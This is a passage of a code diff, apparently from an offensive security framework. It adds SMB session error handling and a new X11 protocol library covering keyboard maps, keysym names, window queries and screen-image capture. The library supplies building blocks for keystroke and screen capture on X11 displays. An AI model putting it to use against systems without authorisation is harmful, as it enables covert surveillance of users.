ok - else - file_id = ok['Payload'].v['FileID'] - end + if self.client.is_a?(RubySMB::Client) + file_id = ok + else + file_id = ok['Payload'].v['FileID'] + end - fh = OpenPipe.new(self.client, path, self.client.last_tree_id, file_id, self.versions) + fh = OpenPipe.new(self.client, path, self.client.last_tree_id, file_id, self.versions) + end end def trans_pipe(fid, data, no_response = nil) - client.trans_named_pipe(fid, data, no_response) + session_lifetime do + client.trans_named_pipe(fid, data, no_response) + end end def negotiated_smb_version @@ -273,6 +294,15 @@ def peerinfo private attr_writer :address, :port + + def session_lifetime + yield + rescue RubySMB::Error::CommunicationError, ::Rex::ConnectionError, Errno::ENOTCONN, Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::ETIMEDOUT + if msf_session + msf_session.kill + end + raise + end end end end diff --git a/lib/rex/proto/x11.rb b/lib/rex/proto/x11.rb new file mode 100644 index 000000000000..bdf4adb8c583 --- /dev/null +++ b/lib/rex/proto/x11.rb @@ -0,0 +1,171 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11 + include Rex::Proto::X11::Connect + include Rex::Proto::X11::Extension + include Rex::Proto::X11::Xkeyboard + include Rex::Proto::X11::Keysymdef + include Rex::Proto::X11::Window + + # https://xcb.freedesktop.org/manual/structxcb__generic__error__t.html + class X11Error < BinData::Record + endian :little + uint8 :response_type # 0 = Error, 1 = Reply + uint8 :error_code # 8 = BadMatch + uint16 :sequence_number + uint32 :bad_value + uint16 :minor_opcode + uint16 :major_opcode + uint8 :pad0 + end + + # https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html + class X11GetPropertyResponse < BinData::Record + endian :little + uint8 :reply + uint8 :format + uint16 :sequence_number # GetProperty + uint32 :response_length + uint32 :get_property_type # 8bit boolean, \x01 == true \x00 == false + uint32 :bytes_after + uint32 :value_length + uint8_array :pad0, initial_length: 12 + rest :value_data + end + + # https://xcb.freedesktop.org/manual/structxcb__intern__atom__reply__t.html + class X11InternAtomResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad0 + uint16 :sequence_number + uint32 :response_length + uint32 :atom + rest :pad1 + end + + # https://xcb.freedesktop.org/manual/structxcb__get__property__request__t.html + class X11GetPropertyRequestBody < BinData::Record + endian :little + uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true? + uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode + uint32 :window # X11ConnectionResponse.screen_root + uint32 :property, initial_value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER + uint32 :get_property_type, initial_value: 31 # "\x1f\x00\x00\x00" # get-property-type (31 = string) + uint32 :long_offset, value: 0 + uint32 :content_length, value: 100_000_000 # "\x00\xe1\xf5\x05" + end + + # https://xcb.freedesktop.org/manual/structxcb__create__gc__request__t.html + class X11CreateGraphicalContextRequestBody < BinData::Record + endian :little + uint8 :pad0 + uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode + uint32 :cid # X11ConnectionResponse.resource_id + uint32 :drawable # X11ConnectionResponse.screen_root + # gc-value-mask mappings from wireshark, uint32 total size + # .... .... .... .... .... .... .... ...0 = function: False + # .... .... .... .... .... .... .... ..0. = plane-mask: False + # .... .... .... .... .... .... .... .0.. = foreground: False + # .... .... .... .... .... .... .... 1... = background: True + # .... .... .... .... .... .... ...0 .... = line-width: False + # .... .... .... .... .... .... ..0. .... = line-style: False + # .... .... .... .... .... .... .0.. .... = cap-style: False + # .... .... .... .... .... .... 0... .... = join-style: False + # .... .... .... .... .... ...0 .... .... = fill-style: False + # .... .... .... .... .... ..0. .... .... = fill-rule: False + # .... .... .... .... .... .0.. .... .... = tile: False + # .... .... .... .... .... 0... .... .... = stipple: False + # .... .... .... .... ...0 .... .... .... = tile-stipple-x-origin: False + # .... .... .... .... ..0. .... .... .... = tile-stipple-y-origin: False + # .... .... .... .... .0.. .... .... .... = font: False + # .... .... .... .... 0... .... .... .... = subwindow-mode: False + # .... .... .... ...0 .... .... .... .... = graphics-exposures: False + # .... .... .... ..0. .... .... .... .... = clip-x-origin: False + # .... .... .... .0.. .... .... .... .... = clip-y-origin: False + # .... .... .... 0... .... .... .... .... = clip-mask: False + # .... .... ...0 .... .... .... .... .... = dash-offset: False + # .... .... ..0. .... .... .... .... .... = gc-dashes: False + # .... .... .0.. .... .... .... .... .... = arc-mode: False + bit1 :gc_value_mask_join_style, initial_value: 0 + bit1 :gc_value_mask_cap_style, initial_value: 0 + bit1 :gc_value_mask_line_style, initial_value: 0 + bit1 :gc_value_mask_line_width, initial_value: 0 + bit1 :gc_value_mask_background, initial_value: 0 + bit1 :gc_value_mask_foreground, initial_value: 0 + bit1 :gc_value_mask_plane_mask, initial_value: 0 + bit1 :gc_value_mask_function, initial_value: 0 + + bit1 :gc_value_mask_subwindow_mode, initial_value: 0 + bit1 :gc_value_mask_font, initial_value: 0 + bit1 :gc_value_mask_tile_stipple_y_origin, initial_value: 0 + bit1 :gc_value_mask_tile_stipple_x_origin, initial_value: 0 + bit1 :gc_value_mask_stipple, initial_value: 0 + bit1 :gc_value_mask_tile, initial_value: 0 + bit1 :gc_value_mask_fill_rule, initial_value: 0 + bit1 :gc_value_mask_fill_style, initial_value: 0 + + bit1 :gc_value_mask_arc_mode, initial_value: 0 + bit1 :gc_value_mask_gc_dashes, initial_value: 0 + bit1 :gc_value_mask_dash_offset, initial_value: 0 + bit1 :gc_value_mask_clip_mask, initial_value: 0 + bit1 :gc_value_mask_clip_y_origin, initial_value: 0 + bit1 :gc_value_mask_clip_x_origin, initial_value: 0 + bit1 :gc_value_mask_graphics_exposures, initial_value: 0 + bit1 :gc_value_null_pad + + bit8 :gc_value_null_pad1 + + uint32 :background, initial_value: 16777215 + end + + # https://xcb.freedesktop.org/manual/structxcb__free__gc__request__t.html + class X11FreeGraphicalContextRequestBody < BinData::Record + endian :little + uint8 :pad0, value: 1 + uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode + uint32 :gc # X11ConnectionResponse.resource_id_base + end + + # https://xcb.freedesktop.org/manual/structxcb__get__input__focus__request__t.html + class X11GetInputFocusRequestBody < BinData::Record + endian :little + uint8 :pad0 + uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode + end + + # https://xcb.freedesktop.org/manual/structxcb__intern__atom__request__t.html + class X11InternAtomRequestBody < BinData::Record + endian :little + uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true? + uint16 :request_length, value: -> { (num_bytes / 4) + 1 } # +1 for header opcode + uint16 :name_length, value: -> { name.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding + uint16 :pad0, initial_value: 0 + string :name, trim_padding: true + end + + # header used for creating requests + class X11RequestHeader < BinData::Record + endian :little + uint8 :opcode + end + + # x11 request meta class for handling headers and bodies + class X11Request < BinData::Record + endian :little + x11_request_header :header + choice :body, selection: -> { header.opcode } do + x11_intern_atom_request_body 16 + x11_get_property_request_body 20 + x11_get_input_focus_request_body 43 + x11_create_graphical_context_request_body 55 + x11_free_graphical_context_request_body 60 + end + end +end diff --git a/lib/rex/proto/x11/connect.rb b/lib/rex/proto/x11/connect.rb new file mode 100644 index 000000000000..48fccfc1c728 --- /dev/null +++ b/lib/rex/proto/x11/connect.rb @@ -0,0 +1,127 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 initial connection protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11::Connect + # https://xcb.freedesktop.org/manual/structxcb__visualtype__t.html + class X11VisualType < BinData::Record + endian :little + uint32 :visualid + uint8 :visual_type_classclass + uint8 :bits_per_rgb_value + uint16 :colormap_entries + uint32 :red_mask + uint32 :green_mask + uint32 :blue_mask + uint32 :pad + end + + # https://xcb.freedesktop.org/manual/structxcb__depth__t.html + class X11DepthDetail < BinData::Record + endian :little + uint8 :depth + uint8 :pad0 + uint16 :visualtypes_numbers + uint32 :pad1 + array :depth_detail, + type: :X11VisualType, + initial_length: :visualtypes_numbers + end + + # https://xcb.freedesktop.org/manual/structxcb__format__t.html + class X11PixMapFormat < BinData::Record + endian :little + uint8 :depth + uint8 :bits_per_pixel + uint8 :scanline_pad + uint8 :pad0 + uint32 :pad1 + end + + class X11ConnectionError < BinData::Record + endian :little + + rest :reason + end + + # https://xcb.freedesktop.org/manual/structxcb__setup__t.html + class X11ConnectionResponse < BinData::Record + endian :little + + uint32 :release_number + uint32 :resource_id_base + uint32 :resource_id_mask + uint32 :motion_buffer_size + uint16 :vendor_length + uint16 :maximum_request_length + uint8 :number_of_screens_in_root + uint8 :number_of_formats_in_pixmap_formats + uint8 :image_byte_order + uint8 :bitmap_format_bit_order + uint8 :bitmap_format_scanline_unit + uint8 :bitmap_format_scanline_pad + uint8 :min_keycode + uint8 :max_keycode + uint32 :pad1 + string :vendor, read_length: :vendor_length + array :pixmap_formats, + type: :X11PixMapFormat, + initial_length: :number_of_formats_in_pixmap_formats + + # screen subsection + uint32 :screen_root + uint32 :screen_default_colormap + uint32 :screen_white_pixel + uint32 :screen_black_pixel + uint32 :screen_current_input_masks + uint16 :screen_width_in_pixels + uint16 :screen_height_in_pixels + uint16 :screen_width_in_millimeters + uint16 :screen_height_in_millimeters + uint16 :screen_min_installed_maps + uint16 :screen_max_installed_maps + uint32 :screen_root_visual + uint8 :screen_backing_stores + uint8 :screen_save_unders # 8bit boolean, \x01 == true \x00 == false + uint8 :screen_root_depth + uint8 :screen_allowed_depths_len + array :depth_detail, + type: :X11DepthDetail, + initial_length: :screen_allowed_depths_len + end + + class X11ConnectHeader < BinData::Record + endian :little + uint8 :success # 8bit boolean, \x01 == true \x00 == false + uint8 :pad0 + uint16 :protocol_version_major + uint16 :protocol_version_minor + uint16 :response_length + end + + class X11Connection < BinData::Record + endian :little + x11_connect_header :header + choice :body, selection: -> { header.success } do + x11_connection_response 1 + x11_connection_error 0 + end + end + + # https://xcb.freedesktop.org/manual/structxcb__setup__request__t.html + class X11ConnectionRequest < BinData::Record + # only 1/2 implemented since we dont have any authorization items added + endian :little + uint8 :byte_order, value: 108 # Little-endian + uint8 :pad0, value: 0 + uint16 :protocol_version_major, value: 11 + uint16 :protocol_version_minor, value: 0 + uint16 :authorization_protocol_name_length, value: 0 + uint16 :authorization_protocol_data_length, value: 0 + uint16 :pad1, value: 0 + end +end diff --git a/lib/rex/proto/x11/extension.rb b/lib/rex/proto/x11/extension.rb new file mode 100644 index 000000000000..a53f8722c2ab --- /dev/null +++ b/lib/rex/proto/x11/extension.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 extensions protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11::Extension + # https://xcb.freedesktop.org/manual/structxcb__query__extension__reply__t.html + class X11QueryExtensionResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad0 + uint16 :sequence_number # QueryExtension + uint32 :response_length + uint8 :present # 8bit boolean, \x01 == true \x00 == false + uint8 :major_opcode # this is the ID of the extension + uint8 :first_event + uint8 :first_error + end + + # https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html + class X11QueryExtensionRequest < BinData::Record + endian :little + uint8 :opcode, value: 98 # QueryExtension + uint8 :pad0, value: 0 + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :extension_length, value: -> { extension.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding + uint16 :pad1, initial_value: 0 # seems to possibly be a counter for how many times this has been called + string :extension, length: 12, trim_padding: true + end + + # built based on Wireshark processor + class X11ExtensionToggleRequest < BinData::Record + endian :little + uint8 :opcode # X11QueryExtensionResponse.major-opcode + uint8 :toggle, initial_value: 0 # 0 enable + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :wanted_major, onlyif: :versions? # extension major version + uint16 :wanted_minor, onlyif: :versions? # extension minor version + + def versions? + wanted_major.nonzero? || wanted_minor.nonzero? + end + end + + # built based on Wireshark processor + class X11ExtensionToggleResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad0 + uint16 :sequence_number + uint32 :response_length + uint32 :maximum_request_length + end +end diff --git a/lib/rex/proto/x11/extensions.rb b/lib/rex/proto/x11/extensions.rb new file mode 100644 index 000000000000..97cfbf75ad6f --- /dev/null +++ b/lib/rex/proto/x11/extensions.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 extensions protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11::Extensions + # https://xcb.freedesktop.org/manual/structxcb__query__extension__reply__t.html + class X11QueryExtensionResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad + uint16 :sequence_number # QueryExtension + uint32 :response_length + uint8 :present # 8bit boolean, \x01 == true \x00 == false + uint8 :major_opcode # this is the ID of the extension + uint8 :first_event + uint8 :first_error + end + + # https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html + class X11QueryExtensionRequest < BinData::Record + endian :little + uint8 :opcode, value: 98 # QueryExtension + uint8 :pad0, value: 0 + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :extension_length, value: -> { extension.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding + uint16 :pad1, initial_value: 0 # seems to possibly be a counter for how many times this has been called + string :extension, length: 12, trim_padding: true + end + + class X11ExtensionToggleRequest < BinData::Record + endian :little + uint8 :opcode # X11QueryExtensionResponse.major-opcode + uint8 :toggle, initial_value: 0 # 0 enable + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :wanted_major, onlyif: :versions? # extension major version + uint16 :wanted_minor, onlyif: :versions? # extension minor version + + def versions? + wanted_major.nonzero? || wanted_minor.nonzero? + end + end +end diff --git a/lib/rex/proto/x11/keysymdef.rb b/lib/rex/proto/x11/keysymdef.rb new file mode 100644 index 000000000000..92903eebf68a --- /dev/null +++ b/lib/rex/proto/x11/keysymdef.rb @@ -0,0 +1,131 @@ +# -*- coding: binary -*- + +# +# This mixin creates a lookup table for non-ascii keysym values to their keyboard mapped entries +# +# https://github.com/D-Programming-Deimos/libX11/blob/master/c/X11/keysymdef.h +# converted to printable things and in a hash for easy lookups +# another good reference: https://docs.oracle.com/cd/E67482_01/oscar/pdf/45/OnlineHelp_45/helpOnPS2keyCodes.html +# skips https://github.com/D-Programming-Deimos/libX11/blob/master/c/X11/keysymdef.h#L137-L166 +# + +module Rex::Proto::X11::Keysymdef + X11KEYSYM_HASH = { + 65288 => '[BackSpace]', # XK_BackSpace + 65289 => '[Tab]', # XK_Tab + 65290 => '[Linefeed]', # XK_Linefeed + 65291 => '[Clear]', # XK_Clear + 65293 => '[Return]', # XK_Return + 65299 => '[Pause]', # XK_Pause + 65300 => '[Scroll_Lock]', # XK_Scroll_Lock + 65301 => '[Sys_Req]', # XK_Sys_Req + 65307 => '[Escape]', # XK_Escape + 65535 => '[Delete]', # XK_Delete + 65360 => '[Home]', # XK_Home + 65361 => '[Left]', # XK_Left + 65362 => '[Up]', # XK_Up + 65363 => '[Right]', # XK_Right + 65364 => '[Down]', # XK_Down + 65365 => '[Prior/PageUp]', # XK_Prior + 65366 => '[Next/PageDown]', # XK_Next + 65367 => '[End]', # XK_End + 65368 => '[Begin]', # XK_Begin + 65376 => '[Select]', # XK_Select + 65377 => '[Print]', # XK_Print + 65378 => '[Execute]', # XK_Execute + 65379 => '[Insert]', # XK_Insert + 65381 => '[Undo]', # XK_Undo + 65382 => '[Redo]', # XK_Redo + 65383 => '[Menu]', # XK_Menu + 65384 => '[Find]', # XK_Find + 65385 => '[Cancel]', # XK_Cancel + 65386 => '[Help]', # XK_Help + 65387 => '[Break]', # XK_Break + 65406 => '[Mode_switch]', # XK_Mode_switch + 65407 => '[Num_Lock]', # XK_Num_Lock + 65408 => '[Keypad_Space]', # XK_KP_Space + 65417 => '[Keypad_Tab]', # XK_KP_Tab + 65421 => '[Keypad_Enter]', # XK_KP_Enter + 65425 => '[Keypad_F1]', # XK_KP_F1 + 65426 => '[Keypad_F2]', # XK_KP_F2 + 65427 => '[Keypad_F3]', # XK_KP_F3 + 65428 => '[Keypad_F4]', # XK_KP_F4 + 65429 => '[Keypad_Home]', # XK_KP_Home + 65430 => '[Keypad_Left]', # XK_KP_Left + 65431 => '[Keypad_Up]', # XK_KP_Up + 65432 => '[Keypad_Right]', # XK_KP_Right + 65433 => '[Keypad_Down]', # XK_KP_Down + 65434 => '[Keypad_Prior]', # XK_KP_Prior + 65435 => '[Keypad_Next]', # XK_KP_Next + 65436 => '[Keypad_End]', # XK_KP_End + 65437 => '[Keypad_Begin]', # XK_KP_Begin + 65438 => '[Keypad_Insert]', # XK_KP_Insert + 65439 => '[Keypad_Delete]', # XK_KP_Delete + 65469 => '[Keypad_Equal]', # XK_KP_Equal + 65450 => '[Keypad_Multiply]', # XK_KP_Multiply + 65451 => '[Keypad_Add]', # XK_KP_Add + 65452 => '[Keypad_Separator]', # XK_KP_Separator + 65453 => '[Keypad_Subtract]', # XK_KP_Subtract + 65454 => '[Keypad_Decimal]', # XK_KP_Decimal + 65455 => '[Keypad_Divide]', # XK_KP_Divide + 65456 => '[Keypad_0]', # XK_KP_0 + 65457 => '[Keypad_1]', # XK_KP_1 + 65458 => '[Keypad_2]', # XK_KP_2 + 65459 => '[Keypad_3]', # XK_KP_3 + 65460 => '[Keypad_4]', # XK_KP_4 + 65461 => '[Keypad_5]', # XK_KP_5 + 65462 => '[Keypad_6]', # XK_KP_6 + 65463 => '[Keypad_7]', # XK_KP_7 + 65464 => '[Keypad_8]', # XK_KP_8 + 65465 => '[Keypad_9]', # XK_KP_9 + 65470 => '[F1]', # XK_F1 + 65471 => '[F2]', # XK_F2 + 65472 => '[F3]', # XK_F3 + 65473 => '[F4]', # XK_F4 + 65474 => '[F5]', # XK_F5 + 65475 => '[F6]', # XK_F6 + 65476 => '[F7]', # XK_F7 + 65477 => '[F8]', # XK_F8 + 65478 => '[F9]', # XK_F9 + 65479 => '[F10]', # XK_F10 + 65480 => '[F11]', # XK_F11 + 65481 => '[F12]', # XK_F12 + 65482 => '[F13]', # XK_F13 + 65483 => '[F14]', # XK_F14 + 65484 => '[F15]', # XK_F15 + 65485 => '[F16]', # XK_F16 + 65486 => '[F17]', # XK_F17 + 65487 => '[F18]', # XK_F18 + 65488 => '[F19]', # XK_F19 + 65489 => '[F20]', # XK_F20 + 65490 => '[F21]', # XK_F21 + 65491 => '[F22]', # XK_F22 + 65492 => '[F23]', # XK_F23 + 65493 => '[F24]', # XK_F24 + 65494 => '[F25]', # XK_F25 + 65495 => '[F26]', # XK_F26 + 65496 => '[F27]', # XK_F27 + 65497 => '[F28]', # XK_F28 + 65498 => '[F29]', # XK_F29 + 65499 => '[F30]', # XK_F30 + 65500 => '[F31]', # XK_F31 + 65501 => '[F32]', # XK_F32 + 65502 => '[F33]', # XK_F33 + 65503 => '[F34]', # XK_F34 + 65504 => '[F35]', # XK_F35 + 65505 => '[Shift_L]', # XK_Shift_L + 65506 => '[Shift_R]', # XK_Shift_R + 65507 => '[Control_L]', # XK_Control_L + 65508 => '[Control_R]', # XK_Control_R + 65509 => '[Caps_Lock]', # XK_Caps_Lock + 65510 => '[Shift_Lock]', # XK_Shift_Lock + 65511 => '[Meta_L]', # XK_Meta_L + 65512 => '[Meta_R]', # XK_Meta_R + 65513 => '[Alt_L]', # XK_Alt_L + 65514 => '[Alt_R]', # XK_Alt_R + 65515 => '[Super_L]', # XK_Super_L + 65516 => '[Super_R]', # XK_Super_R + 65517 => '[Hyper_L]', # XK_Hyper_L + 65518 => '[Hyper_R]' # XK_Hyper_R + } +end diff --git a/lib/rex/proto/x11/window.rb b/lib/rex/proto/x11/window.rb new file mode 100644 index 000000000000..0d6cbcf3b01a --- /dev/null +++ b/lib/rex/proto/x11/window.rb @@ -0,0 +1,253 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 extensions protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11::Window + # 3 = https://xcb.freedesktop.org/manual/structxcb__get__window__attributes__request__t.html + # 14 = https://xcb.freedesktop.org/manual/structxcb__get__geometry__request__t.html + class X11GetRequest < BinData::Record + endian :little + uint8 :opcode # 3 = GetWindowAttributes, 14 = GetGeometry + uint8 :pad # XXX seems to be increasing counter... + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :window # X11ConnectionResponse.screen_root + end + + # https://xcb.freedesktop.org/manual/structxcb__get__window__attributes__reply__t.html + class X11GetWindowAttributeResponse < BinData::Record + endian :little + uint8 :depth + uint16 :visual_id + uint8 :class_name + uint8 :bit_gravity + uint8 :win_gravity + uint32 :backing_planes + uint32 :backing_pixel + uint8 :save_under + uint8 :map_is_installed + uint8 :map_state + uint8 :override_redirect + uint32 :colormap + uint32 :all_event_masks + uint32 :your_event_mask + uint16 :do_not_propagate_mask + end + + # https://xcb.freedesktop.org/manual/structxcb__get__geometry__reply__t.html + class X11GetGeometryResponse < BinData::Record + endian :little + uint8 :depth + uint32 :root + uint16 :x + uint16 :y + uint16 :width + uint16 :height + uint16 :border_width + end + + # https://xcb.freedesktop.org/manual/structxcb__get__geometry__reply__t.html + class X11GetWindowAttributesGeometryResponse < BinData::Record + endian :little + uint8 :reply + uint8 :depth + uint16 :sequence_number + uint32 :response_length + uint32 :root + uint16 :x + uint16 :y + uint16 :width + uint16 :height + uint16 :border_width + end + + # https://xcb.freedesktop.org/manual/structxcb__translate__coordinates__request__t.html + class X11TranslateCoordinatesRequest < BinData::Record + endian :little + uint8 :opcode, value: 40 # TranslateCoordinates + uint8 :pad # XXX seems to be increasing counter... + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :src_window # X11ConnectionResponse.screen_root + uint32 :dst_window # X11ConnectionResponse.screen_root + uint16 :src_x + uint16 :src_y + end + + # https://xcb.freedesktop.org/manual/structxcb__query__tree__request__t.html + class X11QueryTreeRequest < BinData::Record + endian :little + uint8 :opcode, value: 15 # QueryTree + uint8 :pad, initial_value: 1 # XXX counter? + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :drawable # X11ConnectionResponse.screen_root + end + + # https://xcb.freedesktop.org/manual/structxcb__query__tree__reply__t.html + class X11QueryTreeResponse < BinData::Record + endian :little + uint8 :reply + uint8 :pad0 + uint16 :sequence_number + uint32 :response_length + uint32 :root_window + uint32 :parent_window + uint32 :children_len + uint32 :unsure + uint32 :unsure1 + uint32 :unsure2 + array :children, + type: :uint32, + initial_length: :children_len + end + + # https://xcb.freedesktop.org/manual/structxcb__get__image__request__t.html + class X11GetImageRequest < BinData::Record + endian :little + uint8 :opcode, value: 73 # GetImage + uint8 :image_pixmap_format, initial_value: 2 # zpixmap, better than 0 xypixmap + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :drawable # window/X11ConnectionResponse.screen_root + uint16 :x + uint16 :y + uint16 :width + uint16 :height + uint32 :plane_mask, initial_value: 4294967295 # AllPlanes \xff\xff\xff\xff + end + + # https://xcb.freedesktop.org/manual/structxcb__get__image__reply__t.html + class X11GetImageResponse < BinData::Record + endian :little + uint8 :response_type + uint8 :depth + uint16 :sequence_number + uint32 :response_length + uint32 :visual_id + array :image_data, + type: :uint8, + initial_length: :response_length + end + + # https://xcb.freedesktop.org/manual/structxcb__query__colors__request__t.html + class X11GetColorsRequest < BinData::Record + endian :little + uint8 :opcode, value: 91 # QueryColors + uint8 :pad0 + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :color_map + array :pixels, + type: :uint32, # this is likely 00 RR GG BB (uint8 for each) + read_until: :eof + end + + # https://xcb.freedesktop.org/manual/structxcb__rgb__t.html -ish, as the first pixel seems unused + class X11Color < BinData::Record + endian :little + uint16 :pad0 + uint16 :red + uint16 :green + uint16 :blue + end + + # https://xcb.freedesktop.org/manual/structxcb__query__colors__reply__t.html + class X11GetColorsResponse < BinData::Record + endian :little + uint8 :response_type + uint8 :pad0 + uint16 :sequence + uint32 :response_length + uint16 :colors_len + array :colors, + initial_length: :colors_len, + type: :X11Color + end + + # https://xcb.freedesktop.org/manual/structxcb__get__window__attributes__reply__t.html + class X11GetWindowResponse < BinData::Record + endian :little + uint8 :response_type + uint8 :backing_store + uint16 :sequence_number + uint32 :response_length + uint32 :visual_id + uint16 :window_class + bit8 :bit_gravity + bit8 :win_gravity + bit32 :backing_planes + bit32 :backing_pixel + bit8 :save_under + bit8 :map_is_installed + bit8 :map_state + bit8 :override_redirect + uint32 :colormap + uint32 :all_event_masks + uint32 :your_event_mask + uint16 :do_not_propagate_mask + array :pad, + type: :uint8, + initial_length: 2 + end +end + +# for future use +# def create_overlay_map(screen_width, screen_height, windows) +# # Initialize a 2D array to represent the screen +# screen = Array.new(screen_height) { Array.new(screen_width, nil) } +# windows.each_with_index do |window, i| +# puts window.inspect +# x, y, width, height = window +# # Mark the visible region occupied by the window +# (y...y + height).each do |row| +# (x...x + width).each do |col| +# screen[row][col] = i +# end +# end +# end +# screen.each do |row| +# puts row.join('') +# end +# end + +class X11Image + def initialize(width, height, image_data, color_data) + @width = width # integer, 1024 in 1024×768 + @height = height # integer, 768 in 1024×768 + @image_data = image_data # from X11GetImageResponse + @color_data = color_data # from X11GetColorsResponse + end + + def self.from_replies(width, height, image_reply, color_reply) + new(width, height, image_reply.image_data, color_reply.colors) + end + + # for future use + # def create_image + # # Extract relevant data from @image_data and @color_data + # width = @width + # height = @height + # pixel_data = @image_data + # colors = @color_data + + # # Create an image object + # image = ChunkyPNG::Image.new(width, height, ChunkyPNG::Color::TRANSPARENT) + + # # Populate image with pixel data and colors + # pixel_data.each_with_index do |pixel, i| + # color = colors[pixel] + # # Set pixel color in the image + # image[i % width, i / width] = ChunkyPNG::Color.rgb(color.red, color.green, color.blue) + # end + # # (0...height).each do |y| + # # (0...width).each do |x| + # # # Extract color information from the pixel data and set the corresponding pixel in the PNG image + # # color = colors[y+x] + # # # pixel_color = extract_color_from_z_data(z_data) + # # image[x, y] = ChunkyPNG::Color.rgb(color.red, color.green, color.blue) + # # end + # # end + + # image + # end +end diff --git a/lib/rex/proto/x11/xkeyboard.rb b/lib/rex/proto/x11/xkeyboard.rb new file mode 100644 index 000000000000..51c290e30ef1 --- /dev/null +++ b/lib/rex/proto/x11/xkeyboard.rb @@ -0,0 +1,383 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 xkeyboard protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Rex::Proto::X11::Xkeyboard + # https://xcb.freedesktop.org/manual/structxcb__xkb__key__mod__map__t.html + class X11KeyModMap < BinData::Record + endian :little + uint8 :keycode + uint8 :mods # bit array, shift, lock, control, 1, 2, 3, 4, 5 + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__key__sym__map__iterator__t.html + class X11Sym < BinData::Uint32le + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__key__sym__map__t.html + class X11KeySymEntry < BinData::Record + endian :little + uint32 :kt_index + uint8 :group_info + uint8 :width + uint16 :n_syms + # next we have a list of syms, length is n_syms + array :key_sym_array, + type: :X11Sym, + initial_length: :n_syms + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__mod__def__t.html + class X11ModDef < BinData::Record + endian :little + uint8 :mask + uint8 :real_mods + uint16 :vmods + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__kt__map__entry__t.html + class X11KeyMapEntry < BinData::Record + endian :little + uint8 :active + uint8 :mods_mask # bit array, shift, lock, control, 1, 2, 3, 4, 5 + uint8 :level + uint8 :mods_mods # bit array, shift, lock, control, 1, 2, 3, 4, 5 + uint16 :mods_vmods # bit array, 0-15 + uint16 :pad + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__key__type__t.html + class X11KeyType < BinData::Record + endian :little + uint8 :mods_mask + uint8 :mods_mods + uint16 :mods_vmods + uint8 :num_levels + uint8 :n_map_entries + uint8 :has_preserve # 8bit boolean, \x01 == true \x00 == false + uint8 :pad + # next we have a list of KEYMAPENTRY, length is :n_map_entries + array :key_map_array, + type: :X11KeyMapEntry, + initial_length: :n_map_entries + # not sure how to tell how many of these there are + array :key_mods_array, + type: :X11ModDef, + initial_length: :n_map_entries, + onlyif: -> { has_preserve == 1 } + end + + # https://xcb.freedesktop.org/manual/structxcb__xkb__get__map__request__t.html + class X11GetMapRequest < BinData::Record + endian :little + uint8 :xkeyboard_id # opcode + uint8 :extension_minor, value: 8 # GetMap + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :device_spec, value: 256 # XXX does this come from elsewhere? + # full mappings from wireshark, uint16 total size + # .... .... .... ...0 = KeyTypes: False + # .... .... .... ..0. = KeySyms: False + # .... .... .... .0.. = ModifierMap: False + # .... .... .... 0... = ExplicitComponents: False + # .... .... ...0 .... = KeyActions: False + # .... .... ..0. .... = KeyBehaviors: False + # .... .... .0.. .... = VirtualMods: False + # .... .... 0... .... = VirtualModMap: False + bit1 :full_virtual_mod_map, initial_value: 0 + bit1 :full_virtual_mods, initial_value: 0 + bit1 :full_key_behaviors, initial_value: 0 + bit1 :full_key_actions, initial_value: 0 + bit1 :full_explicit_components, initial_value: 0 + bit1 :full_modifier_map, initial_value: 0 + bit1 :full_key_syms, initial_value: 0 + bit1 :full_key_types, initial_value: 0 + bit8 :full_null_pad, value: 0 + + # partial mappings from wireshark, uint16 total size + # .... .... .... ...0 = KeyTypes: False + # .... .... .... ..0. = KeySyms: False + # .... .... .... .0.. = ModifierMap: False + # .... .... .... 0... = ExplicitComponents: False + # .... .... ...0 .... = KeyActions: False + # .... .... ..0. .... = KeyBehaviors: False + # .... .... .0.. .... = VirtualMods: False + # .... .... 